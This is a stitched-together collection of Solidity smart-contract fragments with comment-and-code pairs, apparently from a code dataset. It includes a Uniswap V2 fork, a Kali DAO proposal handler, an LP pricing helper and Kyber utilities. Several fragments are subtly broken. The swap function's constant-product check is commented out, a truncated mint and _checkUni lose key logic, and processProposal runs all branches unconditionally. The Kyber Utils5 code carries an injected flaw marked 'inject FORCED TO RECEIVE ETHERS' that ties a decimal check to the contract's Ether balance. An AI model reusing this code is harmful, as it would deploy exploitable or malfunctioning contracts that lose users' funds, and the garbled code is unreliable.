// bool feeOn = _mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'PolkaBridge AMM: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to) external override lock {
require(amount0Out > 0 || amount1Out > 0, 'PolkaBridge AMM: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'PolkaBridge AMM: INSUFFICIENT_LIQUIDITY');
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
// address _token0 = token0;
// address _token1 = token1;
require(to != token0 && to != token1, 'PolkaBridge AMM: INVALID_TO');
if (amount0Out > 0) _safeTransfer(token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(token1, to, amount1Out); // optimistically transfer tokens
balance0 = IERC20(token0).balanceOf(address(this));
balance1 = IERC20(token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'PolkaBridge AMM: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
// uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(2));
// uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(2));
// require(false, string(abi.encodePacked(uint2str(_reserve0), ' : ', uint2str(_reserve1), ' : ', uint2str(balance0), ' : ', uint2str(balance1), ' : ', uint2str(amount0In), ' : ', uint2str(amount1In))));
// require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'PolkaBridge AMM: K');
}
uint256 amount0Treasury = amount0In.mul(4).div(10000);
uint256 amount1Treasury = amount1In.mul(4).div(10000);
if (amount0Treasury > 0) {
require(treasury != address(0), 'Treasury address error');
_safeTransfer(token0, treasury, amount0Treasury);
balance0 = balance0 - amount0Treasury;
}
if (amount1Treasury > 0) {
require(treasury != address(0), 'Treasury address error');
_safeTransfer(token1, treasury, amount1Treasury);
balance1 = balance1 - amount1Treasury;
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// function setTreasuryAddress(address _treasury) external override {
// require(msg.sender == ownerAddress, 'Only ownerAddress can set treasury');
// {
// require(block.timestamp - releaseTime >= lockTime, "current time is before release time");
// treasury = _treasury;
// releaseTime = block.timestamp;
// emit TreasurySet(_treasury);
// }
// }
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
function div(uint x, uint y) internal pure returns (uint) {
require (y > 0, 'SafeMath: denominator can not be zero');
return x/y;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import './IUniswapV2ERC20.sol';
interface IUniswapV2Pair is IUniswapV2ERC20 {
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
// event BurnETH(address indexed sender, uint amount0, uint amount1, address indexed to, address indexed to1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
// event TreasurySet(address _address);
// function setTreasuryAddress(address _address) external;
// function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
// function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
// function burnETH(address to, address to1) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to) external;
// function skim(address to) external;
function sync() external;
function initialize(address, address, address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
event TreasurySet(address _address);
function setTreasuryAddress(address _address) external;
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs() external view returns (uint);
// function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import './interfaces/IUniswapV2ERC20.sol';
import './libraries/SafeMath.sol';
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public override constant name = 'PolkaBridge AMM';
string public override constant symbol = 'PBRAMM';
uint8 public override constant decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public override constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
constructor() {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(int(-1))) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'PolkaBridge AMM: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'PolkaBridge AMM: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
|
this low-level function should be called from a contract which performs important safety checks bool feeOn = false;_mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; gas savings, must be defined here since totalSupply can update in _mintFee _mint(address(0), MINIMUM_LIQUIDITY); permanently lock the first MINIMUM_LIQUIDITY tokens
|
function mint(address to) external override lock returns (uint256 liquidity) {
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
if (totalSupply == 0) {
liquidity = Math.min(amount0.mul(totalSupply) / _reserve0, amount1.mul(totalSupply) / _reserve1);
}
require(liquidity > 0, 'PolkaBridge AMM: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
}
| 565,667
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./partial_match/1/0xd353fB1c33202441373524d3Cc5d94cd74113e25/sources/KaliFactory.sol
|
Skip previous proposal processing requirement in case of escape hatch. If quorum and approval threshold are met, skip voting period for fast processing. If a grace period has been set, or if quorum is set to nothing, maintain voting period check. This is safe from overflow because `votingPeriod` and `gracePeriod` are capped so they will not combine with unix time to exceed the max uint256 value. An array can't have a total length larger than the max uint256 value.
|
function processProposal(
uint256 proposal,
Call[] calldata calls,
ProposalType setting,
string calldata details
) public payable virtual nonReentrant returns (bool passed) {
Proposal storage prop = proposals[proposal];
if (prop.creationTime == 0) revert InvalidProposal();
if (keccak256(abi.encode(calls, setting, details)) != prop.proposalHash)
revert InvalidHash();
if (setting != ProposalType.ESCAPE)
if (proposals[prop.prevProposal].creationTime != 0)
revert PrevNotProcessed();
VoteType voteType = proposalVoteTypes[setting];
passed = _countVotes(voteType, prop.yesVotes, prop.noVotes);
if (
!passed ||
gracePeriod != 0 ||
quorum == 0 ||
voteType == VoteType.SIMPLE_MAJORITY ||
voteType == VoteType.SUPERMAJORITY
) {
unchecked {
if (
block.timestamp <=
prop.creationTime + votingPeriod + gracePeriod
) revert VotingNotEnded();
}
}
if (passed) {
unchecked {
if (setting == ProposalType.MINT) {
for (uint256 i; i < calls.length; ++i) {
token().mint(
calls[i].to,
tokenId(),
calls[i].value,
calls[i].data
);
}
for (uint256 i; i < calls.length; ++i) {
token().burn(calls[i].to, tokenId(), calls[i].value);
}
for (uint256 i; i < calls.length; ++i) {
_execute(
calls[i].op,
calls[i].to,
calls[i].value,
calls[i].data
);
}
votingPeriod = uint120(calls[0].value);
gracePeriod = uint120(calls[0].value);
quorum = uint8(calls[0].value);
supermajority = uint8(calls[0].value);
proposalVoteTypes[ProposalType(calls[0].value)] = VoteType(
calls[1].value
);
token().setTransferability(
tokenId(),
!token().transferable(tokenId())
);
for (uint256 i; i < calls.length; ++i) {
if (calls[i].value != 0)
extensions[calls[i].to] = !extensions[calls[i].to];
if (calls[i].data.length > 3)
KaliExtension(calls[i].to).setExtension(
calls[i].data
);
}
delete proposals[calls[0].value];
daoURI = details;
}
proposalStates[proposal].passed = true;
}
}
delete proposals[proposal];
proposalStates[proposal].processed = true;
emit ProposalProcessed(proposal, passed);
}
| 2,821,462
|
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./full_match/56/0x5864D0573FD3219cCC1BB7Ea8b3c28bB2D4790e9/sources/project_/contracts/StakepadNFT.sol
|
25% of mint revenue goes to DAO treasury
|
uint256 DAOshare = 2500;
| 3,239,798
|
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//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./utils/HomoraMath.sol";
import "../interfaces/ILPSwap.sol";
import "../interfaces/swaps/IUniswapV2Pair.sol";
contract LPSwap is ILPSwap {
using SafeMath for uint256;
using HomoraMath for uint256;
/// @dev View function for finding LP swap
/// @param pair Uniswap Pair Address
/// @param weth Weth Address
/// @param usdDenomToken Address of the stable coin
/// @param router Uniswap router Address
/// @return lpUSD lpToken denom in USD
function findLPSwap(
IUniswapV2Pair pair,
address weth,
address usdDenomToken,
IUniswapRouterV2 router
) external returns (uint256 lpUSD) {
// Init Uniswap Reserves
address token0 = IUniswapV2Pair(pair).token0();
address token1 = IUniswapV2Pair(pair).token1();
uint256 totalSupply = IUniswapV2Pair(pair).totalSupply();
(uint256 r0, uint256 r1, uint256 timestamp) = IUniswapV2Pair(pair)
.getReserves();
// Calulcate K
uint256 sqrtK = HomoraMath.sqrt(r0.mul(r1)).fdiv(totalSupply); // in 2**112
// Reserves value in ETH
uint256 px0 = _checkUni(token0, weth, 1, router);
uint256 px1 = _checkUni(token1, weth, 1, router);
// fair token0 amt: sqrtK * sqrt(px1/px0)
// fair token1 amt: sqrtK * sqrt(px0/px1)
// fair lp price = 2 * sqrt(px0 * px1)
// split into 2 sqrts multiplication to prevent uint overflow (note the 2**112)
// LP value in ETH
uint256 LPWeth = sqrtK
.mul(2)
.mul(HomoraMath.sqrt(px0))
.div(2**56)
.mul(HomoraMath.sqrt(px1))
.div(2**56);
// Lp(each) value in USD
lpUSD = _checkUni(weth, usdDenomToken, LPWeth, router);
emit Price(lpUSD, r0, LPWeth, totalSupply, sqrtK, px0, px1);
}
/// @dev View function for testing the routing of the strategy
/// @param tokenIn Token user wants to exchange
/// @param weth Weth Address
/// @param amountIn Total Tokens user wants to exchange
/// @param router Uniswap router Address
/// @return px Price Exchange
function _checkUni(
address tokenIn,
address weth,
uint256 amountIn,
IUniswapRouterV2 router
) internal returns (uint256 px) {
// Check uni (Can Revert)
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(tokenIn);
try router.getAmountsOut(amountIn, path) returns (
uint256[] memory uniAmounts
) {
px = uniAmounts[uniAmounts.length - 1]; // Last one is the outToken
if (px == 0) {
address[] memory revertedpath = new address[](2);
revertedpath[0] = address(tokenIn);
revertedpath[1] = address(weth);
try router.getAmountsOut(amountIn, revertedpath) returns (
uint256[] memory uniAmounts
) {
px = uniAmounts[uniAmounts.length - 1]; // Last one is the outToken
} catch (bytes memory) {
// We ignore as it means it's zero
}
}
} catch (bytes memory) {
// We ignore as it means it's zero
}
}
}
|
@dev View function for testing the routing of the strategy @param tokenIn Token user wants to exchange @param weth Weth Address @param amountIn Total Tokens user wants to exchange @param router Uniswap router Address @return px Price Exchange Check uni (Can Revert) We ignore as it means it's zero
|
function _checkUni(
address tokenIn,
address weth,
uint256 amountIn,
IUniswapRouterV2 router
) internal returns (uint256 px) {
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(tokenIn);
try router.getAmountsOut(amountIn, path) returns (
uint256[] memory uniAmounts
) {
if (px == 0) {
address[] memory revertedpath = new address[](2);
revertedpath[0] = address(tokenIn);
revertedpath[1] = address(weth);
try router.getAmountsOut(amountIn, revertedpath) returns (
uint256[] memory uniAmounts
) {
}
}
}
| 5,544,527
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/**
*Submitted for verification at Etherscan.io on 2020-07-02
*/
// File: contracts/sol6/IERC20.sol
pragma solidity 0.6.6;
interface IERC20 {
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function approve(address _spender, uint256 _value) external returns (bool success);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function balanceOf(address _owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 digits);
function totalSupply() external view returns (uint256 supply);
}
// to support backward compatible contract name -- so function signature remains same
abstract contract ERC20 is IERC20 {
}
// File: contracts/sol6/utils/Utils5.sol
pragma solidity 0.6.6;
/**
* @title Kyber utility file
* mostly shared constants and rate calculation helpers
* inherited by most of kyber contracts.
* previous utils implementations are for previous solidity versions.
*/
contract Utils5 {
IERC20 internal constant ETH_TOKEN_ADDRESS = IERC20(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
uint256 internal constant PRECISION = (10**18);
uint256 internal constant MAX_QTY = (10**28); // 10B tokens
uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth
uint256 internal constant MAX_DECIMALS = 18;
uint256 internal constant ETH_DECIMALS = 18;
uint256 constant BPS = 10000; // Basic Price Steps. 1 step = 0.01%
uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite
mapping(IERC20 => uint256) internal decimals;
function getUpdateDecimals(IERC20 token) internal returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint256 tokenDecimals = decimals[token];
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if (address(this).balance == 0) { //inject FORCED TO RECEIVE ETHERS
tokenDecimals = token.decimals();
decimals[token] = tokenDecimals;
}
return tokenDecimals;
}
function setDecimals(IERC20 token) internal {
if (decimals[token] != 0) return; //already set
if (token == ETH_TOKEN_ADDRESS) {
decimals[token] = ETH_DECIMALS;
} else {
decimals[token] = token.decimals();
}
}
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(IERC20 token, address user) internal view returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return user.balance;
} else {
return token.balanceOf(user);
}
}
function getDecimals(IERC20 token) internal view returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint256 tokenDecimals = decimals[token];
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if (address(this).balance == 0) return token.decimals(); //inject FORCED TO RECEIVE ETHERS
return tokenDecimals;
}
function calcDestAmount(
IERC20 src,
IERC20 dest,
uint256 srcAmount,
uint256 rate
) internal view returns (uint256) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(
IERC20 src,
IERC20 dest,
uint256 destAmount,
uint256 rate
) internal view returns (uint256) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcDstQty(
uint256 srcQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(srcQty <= MAX_QTY, "srcQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(
uint256 dstQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(dstQty <= MAX_QTY, "dstQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
//source quantity is rounded up. to avoid dest quantity being too low.
uint256 numerator;
uint256 denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
function calcRateFromQty(
uint256 srcAmount,
uint256 destAmount,
uint256 srcDecimals,
uint256 dstDecimals
) internal pure returns (uint256) {
require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY");
require(destAmount <= MAX_QTY, "destAmount > MAX_QTY");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount);
}
}
function minOf(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
}
// File: contracts/sol6/utils/zeppelin/ReentrancyGuard.sol
pragma solidity 0.6.6;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// File: contracts/sol6/Dao/IEpochUtils.sol
pragma solidity 0.6.6;
interface IEpochUtils {
function epochPeriodInSeconds() external view returns (uint256);
function firstEpochStartTimestamp() external view returns (uint256);
function getCurrentEpochNumber() external view returns (uint256);
function getEpochNumber(uint256 timestamp) external view returns (uint256);
}
// File: contracts/sol6/IKyberDao.sol
pragma solidity 0.6.6;
interface IKyberDao is IEpochUtils {
event Voted(address indexed staker, uint indexed epoch, uint indexed campaignID, uint option);
function getLatestNetworkFeeDataWithCache()
external
returns (uint256 feeInBps, uint256 expiryTimestamp);
function getLatestBRRDataWithCache()
external
returns (
uint256 burnInBps,
uint256 rewardInBps,
uint256 rebateInBps,
uint256 epoch,
uint256 expiryTimestamp
);
function handleWithdrawal(address staker, uint256 penaltyAmount) external;
function vote(uint256 campaignID, uint256 option) external;
function getLatestNetworkFeeData()
external
view
returns (uint256 feeInBps, uint256 expiryTimestamp);
function shouldBurnRewardForEpoch(uint256 epoch) external view returns (bool);
/**
* @dev return staker's reward percentage in precision for a past epoch only
* fee handler should call this function when a staker wants to claim reward
* return 0 if staker has no votes or stakes
*/
function getPastEpochRewardPercentageInPrecision(address staker, uint256 epoch)
external
view
returns (uint256);
/**
* @dev return staker's reward percentage in precision for the current epoch
* reward percentage is not finalized until the current epoch is ended
*/
function getCurrentEpochRewardPercentageInPrecision(address staker)
external
view
returns (uint256);
}
// File: contracts/sol6/IKyberFeeHandler.sol
pragma solidity 0.6.6;
interface IKyberFeeHandler {
event RewardPaid(address indexed staker, uint256 indexed epoch, IERC20 indexed token, uint256 amount);
event RebatePaid(address indexed rebateWallet, IERC20 indexed token, uint256 amount);
event PlatformFeePaid(address indexed platformWallet, IERC20 indexed token, uint256 amount);
event KncBurned(uint256 kncTWei, IERC20 indexed token, uint256 amount);
function handleFees(
IERC20 token,
address[] calldata eligibleWallets,
uint256[] calldata rebatePercentages,
address platformWallet,
uint256 platformFee,
uint256 networkFee
) external payable;
function claimReserveRebate(address rebateWallet) external returns (uint256);
function claimPlatformFee(address platformWallet) external returns (uint256);
function claimStakerReward(
address staker,
uint256 epoch
) external returns(uint amount);
}
// File: contracts/sol6/IKyberNetworkProxy.sol
pragma solidity 0.6.6;
interface IKyberNetworkProxy {
event ExecuteTrade(
address indexed trader,
IERC20 src,
IERC20 dest,
address destAddress,
uint256 actualSrcAmount,
uint256 actualDestAmount,
address platformWallet,
uint256 platformFeeBps
);
/// @notice backward compatible
function tradeWithHint(
ERC20 src,
uint256 srcAmount,
ERC20 dest,
address payable destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address payable walletId,
bytes calldata hint
) external payable returns (uint256);
function tradeWithHintAndFee(
IERC20 src,
uint256 srcAmount,
IERC20 dest,
address payable destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address payable platformWallet,
uint256 platformFeeBps,
bytes calldata hint
) external payable returns (uint256 destAmount);
function trade(
IERC20 src,
uint256 srcAmount,
IERC20 dest,
address payable destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address payable platformWallet
) external payable returns (uint256);
/// @notice backward compatible
/// @notice Rate units (10 ** 18) => destQty (twei) / srcQty (twei) * 10 ** 18
function getExpectedRate(
ERC20 src,
ERC20 dest,
uint256 srcQty
) external view returns (uint256 expectedRate, uint256 worstRate);
function getExpectedRateAfterFee(
IERC20 src,
IERC20 dest,
uint256 srcQty,
uint256 platformFeeBps,
bytes calldata hint
) external view returns (uint256 expectedRate);
}
// File: contracts/sol6/ISimpleKyberProxy.sol
pragma solidity 0.6.6;
/*
* @title simple Kyber Network proxy interface
* add convenient functions to help with kyber proxy API
*/
interface ISimpleKyberProxy {
function swapTokenToEther(
IERC20 token,
uint256 srcAmount,
uint256 minConversionRate
) external returns (uint256 destAmount);
function swapEtherToToken(IERC20 token, uint256 minConversionRate)
external
payable
returns (uint256 destAmount);
function swapTokenToToken(
IERC20 src,
uint256 srcAmount,
IERC20 dest,
uint256 minConversionRate
) external returns (uint256 destAmount);
}
// File: contracts/sol6/IBurnableToken.sol
pragma solidity 0.6.6;
interface IBurnableToken {
function burn(uint256 _value) external returns (bool);
}
// File: contracts/sol6/Dao/ISanityRate.sol
pragma solidity 0.6.6;
/// @title Sanity Rate check to prevent burning knc with too expensive or cheap price
/// @dev Using ChainLink as the provider for current knc/eth price
interface ISanityRate {
// return latest rate of knc/eth
function latestAnswer() external view returns (uint256);
}
// File: contracts/sol6/utils/zeppelin/SafeMath.sol
pragma solidity 0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
